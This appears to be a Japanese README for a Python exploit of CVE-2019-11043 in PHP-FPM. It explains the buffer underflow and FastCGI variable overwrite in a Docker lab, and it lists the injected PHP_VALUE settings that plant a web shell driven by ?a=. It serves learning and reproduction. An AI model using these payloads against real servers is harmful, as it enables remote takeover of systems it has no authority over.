
CVE-2019-11043 の Python エクスプロイト。PHP-FPM のバッファアンダーフローを標的とし、ヌルバイト上書きと FastCGI 変数操作によりリモートコード実行を実現します。
PHP-FPM リモートコード実行
スクリーンキャスト: https://youtu.be/d6benC5FVZM
このゼロデイエクスプロイトは、一般的な PHP-FPM 構成において、2019 年の Realworld CTF コンペティション中に発見されました。リクエスト URI を解析するために正規表現が使用されますが、改行文字 %0a はマッチしません。これにより、クエリ文字列の長さを誤って計算し、意図したバッファの前の位置にヌルバイトを書き込む FastCGI のバグがトリガーされます。クエリ文字列の長さを慎重に選択することで、攻撃者はこのバグを利用してサーバ上の内部 PHP 変数を上書きし、任意のシェルコードを実行できます。
このエクスプロイトの元の Go 実装はこちらにあります。私はこれを、解説記事および元のバグレポートとともに学習リソースとして使用し、Python でエクスプロイトを実装しました。
Linux 上の Docker sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 を実行すると、/script.php に空のスクリプトが置かれた最低限の NGINX/PHP-FPM サーバが起動します。このイメージの Dockerfile はこちらで入手できますが、前述のコマンドを実行するために必要ではありません。
Mac 上の Docker vulhub リポジトリの /php/CVE-2019-11043 ディレクトリから を実行します。(Docker for Mac には Compose が含まれています。)
sudo docker-compuse up -dpython3 exploit.py http://localhost:8080/script.php コマンド(2 番目のオプションを使用した場合は /index.php)でエクスプロイトスクリプトを実行します。成功すると、URL に ?a= を付けてコマンドを追加することで Web シェルにアクセスできるようになります(例: http://localhost:8080/script.php?a=uname -a)。
注: この課題のために Ansible プレイブックを作成しようと試みましたが、こちらに文書化されている停止バグに遭遇しました。最近の Linux カーネル(例: 任意の Ubuntu LTS リリース)では、Ansible プレイブックで systemd サービスを起動することはできません。
PHP-FPM 設定ファイルには、受信した URI リクエストを PHP スクリプトにマッチングするルールが含まれており、多くの場合次のようになります:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
これは /script.php/pathinfo 形式の任意の URI にマッチするはずですが、実際には . は改行 %0a 文字にマッチしません。URI に改行が含まれている場合、PHP 実装内の次のバグがトリガーされます:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
ここでの問題は、slen は URI の長さからリソースパスの長さを引いた値として正しく計算されますが、pilen が誤って 0 に設定されることです。これにより、1151 行目で path_info が負の値に設定され、バッファアンダーフローが発生します。この誤計算の直後、同じファイル内で次の処理が行われます:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
1161 行目で、前のステップで誤計算されたメモリ位置にヌルバイトが書き込まれます。これは、1165 行目で FastCGI が環境変数を書き込む際に脆弱性を悪用するために利用できます。環境変数の書き込み操作を制御するポインタにヌルバイトを書き込むことで、攻撃者は HTTP リクエストで任意の PHP 変数を環境に挿入できます。
FastCGI の環境変数は、メモリ内で密にパックされたキーと値の文字列ペアのシーケンスとして格納されます(参照)。これらの文字列を保持するバッファの開始と終了は _fcgi_data_seg と呼ばれます。pos メンバは次に書き込む場所を指します。バッファがいっぱいになると(pos > end)、新しいバッファが割り当てられ、next メンバは古いバッファを指します。
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI は _fcgi_hash と呼ばれるハッシュテーブルを使用して個々の環境変数にアクセスします。
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
ここでの考え方は、pos の最下位バイトを上書きして、FastCGI に既存の変数を誤って上書きさせることです。コードは本来、URI パスに追加された文字列を PATH_INFO の場所に配置するはずです。しかし、脆弱性のあるコードセグメントの後で PHP_VALUE が直ちに取得され PHP 設定に読み込まれるため、PHP_VALUE を上書きしたいと考えます。
exploit.py でわかるように、このエクスプロイトの一般的な前提は、FastCGI の内部メモリバッファを悪用可能な方法でアラインさせる、非常に長い URI クエリを見つけることです。考え方は、FastCGI が新しい _fcgi_data_seg バッファを割り当てるために必要な正確な文字数を見つけることです。これが発生すると、FastCGI は予測可能な方法で新しいバッファに PATH_INFO を書き込み、続いて各 HTTP ヘッダを新しい環境変数として書き込みます。したがって、次のステップは、メモリを目的のためにアラインさせるために、任意の HTTP ヘッダをどれだけパディングする必要があるかを見つけることです。任意の場所に 1 ヌルバイトを書き込むことしかできないため、pos が PHP_VALUE への予測可能なオフセットを指すようにし、最下位バイトを編集することでそこに移動させる必要があります。
課題は、PHP_VALUE を上書きしたいが、メモリ内のどこにあるかわからないことです。FastCGI がこの変数を読み込むとき、単純なアルゴリズムに従って文字列 PHP_VALUE をハッシュ化し、実際のメモリアドレスを取得します:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
ハッシュテーブル自体を変更する代わりに、この関数に従って PHP_VALUE と同じ文字列長とハッシュを持つ別の環境変数を作成するだけで済みます。これにより、ハッシュルックアップが意図した変数ではなく、HTTP ヘッダを読み取るように騙されます。このエクスプロイトの作者は、EBUT というヘッダが FastCGI 環境では HTTP_EBUT として保存され、この要件を満たすことを巧妙に指摘しました。
攻撃自体では、EBUT ヘッダを含む GET リクエストを送信し、ヌルバイト上書きバグを使用してその値を上書きします。繰り返しリクエストで、次の PHP 環境変数を一度に 1 つずつ設定しようと試みます:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
これらすべての変数の変更に成功すると、サーバ上で任意のシェルコードを実行するための新しいクエリ ?a= が有効になります。攻撃ループは、which which を実行して各イテレーションの成功を確認します。攻撃者は、HTTP レスポンスから結果(例: /bin/which)を読み取ることで、これが成功したかどうかを簡単に検出できます。